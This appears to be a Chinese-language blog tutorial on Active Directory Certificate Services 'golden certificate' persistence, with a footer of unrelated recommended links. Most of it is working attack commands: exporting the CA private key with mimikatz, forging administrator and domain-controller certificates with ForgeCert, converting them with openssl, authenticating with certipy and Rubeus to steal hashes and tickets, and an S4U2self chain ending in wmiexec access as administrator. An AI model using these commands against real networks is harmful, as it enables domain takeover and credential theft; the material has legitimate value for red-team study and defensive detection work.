域内证书维权

黄金证书

证书链中,除了处于证书链中的 根信任证书 外,其他证书的签名需要使用它上一级证书的私钥,而 根信任证书 使用自己的私钥给自己签名。CA 证书使用其私钥签发其他证书,因为 CA 证书被根信任证书的私钥签了名,因此 CA 证书继承了根信任证书的信任。如果 CA 证书私钥泄露,我们就能使用 CA 证书签发其他证书。

在域环境下,域用户申请 User 模板的证书用于客户端身份验证,这类证书由 CA证书 签发,一般 CA 证书存放在所有域用户机器下的 受信任证书列表 中。那么如果我们获得 CA 证书的私钥,那么可以使用它伪造域用户证书链 ,这样我们获得域内所有用户凭据。 此外,我们称之为这些 CA 证书为 黄金证书

如何判断CA证书?
  • 只有CA证书有 "CA版本" 这一扩展。

  • CA 证书没有 EKU。

  • 证书的颁发者 Issuer 和主题名称 Subject (使用者)都设置为 CA 的专有名称。

注意:CA 证书的私钥受到 CA 服务器 DPAPI 保护。

证书导出

mimikatz
复制代码
# 在 CA 机器上使用 mimikatz 执行如下命令导出机器证书,导出的.pfx 文件即包含 CA 的证书和私钥,该 pfx 文件的导出密码为mimikatz。
​
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" exit
certipy
复制代码
# 请求某一客户的证书
certipy ca -u [email protected] -p p-0p-0p-0 -target 192.168.72.21

证书伪造

利用获得的黄金证书,颁发域用户证书。

ForgeCert
复制代码
伪造 administrator 用户证书,证书的密码为空。
​
# 为用户生成证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath administrator.pfx --NewCertPassword ""
​
#为机器生成黄金票据
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath DC01.pfx --NewCertPassword ""
​
#如果 CA 服务器不是域控的话,需要指定 CRL 列表
--CRL "ldap:///CN=xie-CA-CA,CN=CA,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com?certificateRevocationList?base?objectClass =cRLDistributionPoint"

证书攻击

上一步骤已经伪造好了用户证书,可以通过此用户证书进行 PKINIT kerberos 身份验证获取域用户hash。

certipy
复制代码
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in administrator.pfx -nodes -out administrator.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
​
#认证获得 hash
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.4 -debug
Rebeus
复制代码
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
                                                              ^^^^^^^
                                                            证书导入时的密码

机器证书利用

域内环境下,机器账号的hash不能直接利用。

mimikatz

导出证书及其私钥

复制代码
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"
certipy(攻击域控)
复制代码
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath DC01.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in DC01.pfx -nodes -out DC01.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in DC01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out DC01.pfx
​
certipy auth -pfx DC01.pfx -dc-ip 192.168.72.21 -debug
普通机器账号
复制代码
# 颁发 comp1$ 的机器账户证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath comp1.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in /tmp/comp1.pfx -nodes -out /tmp/comp1.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in /tmp/comp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/comp1.pfx
​
# 利用机器账户证书生成 .ccache 格式的 tgt。
python3 gettgtpkinit.py -cert-pfx /tmp/comp1.pfx -pfx-pass mimikatz -dc-ip 192.168.72.21 -v HACK.com/comp1\$ comp1.ccache
​
# 利用 comp1$ 机器账户 tgt 为域管理员申请访问 comp1.HACK.com CIFS 协议的票据
python3 gets4uticket.py kerberos+ccache://HACK.com\\comp1\$:[email protected] cifs/[email protected] [email protected] administrator.ccache -v
​
# 导入票据
export KRB5CCNAME=administrator.ccache
​
# 以 administrator 访问 comp1.HACK.com
python3 wmiexec.py -k -no-pass HACK.com/[email protected]

此过程没有利用到委派攻击,而是利用到了 S4U2self 的宽松性。整个过程仅依赖 S4U2self。

S4U2self 的宽松性:S4U2self 的设计初衷是允许服务在需要知道用户身份时(如审计日志),无需用户主动认证即可获取票据。因此默认情况下,任何服务账户均可使用 S4U2self 为自己服务请求用户票据,无需额外权限。

总结:该攻击成功的原因是 Kerberos 协议中服务账户天然拥有为自身服务生成任意用户票据的能力,而无需委派。这是协议设计特性,而非配置疏漏。

相关推荐
EasyDSS4 分钟前
AI智能分析网关V4助力工厂/工地/车间/能源矿山场景玩手机行为精准检测与安全生产智能化监管
网络·人工智能
AORO_BEIDOU15 分钟前
防爆手机与普通手机有什么区别
人工智能·5g·安全·智能手机·信息与通信
码农飞哥16 分钟前
互联网大厂Java求职面试实战:Spring Boot与微服务场景深度解析
java·数据库·spring boot·安全·微服务·消息队列·互联网医疗
~西贝贝~28 分钟前
二元随机响应(Binary Randomized Response, RR)的翻转概率
网络安全
1892280486137 分钟前
NY182NY183美光固态颗粒NY186NY188
大数据·网络·科技
monstercl1 小时前
游戏资源传输服务器
运维·服务器·游戏
hgdlip1 小时前
手机换地方ip地址会变化吗?深入解析
网络·tcp/ip·智能手机
hgdlip1 小时前
手机换IP真的有用吗?可以干什么?
网络·tcp/ip·手机
esmember1 小时前
电路研究9.3.4——合宙Air780EP中的AT开发指南:HTTPS示例
https·at指令
Bl_a_ck1 小时前
--openssl-legacy-provider is not allowed in NODE_OPTIONS 报错的处理方式
开发语言·前端·web安全·网络安全·前端框架·ssl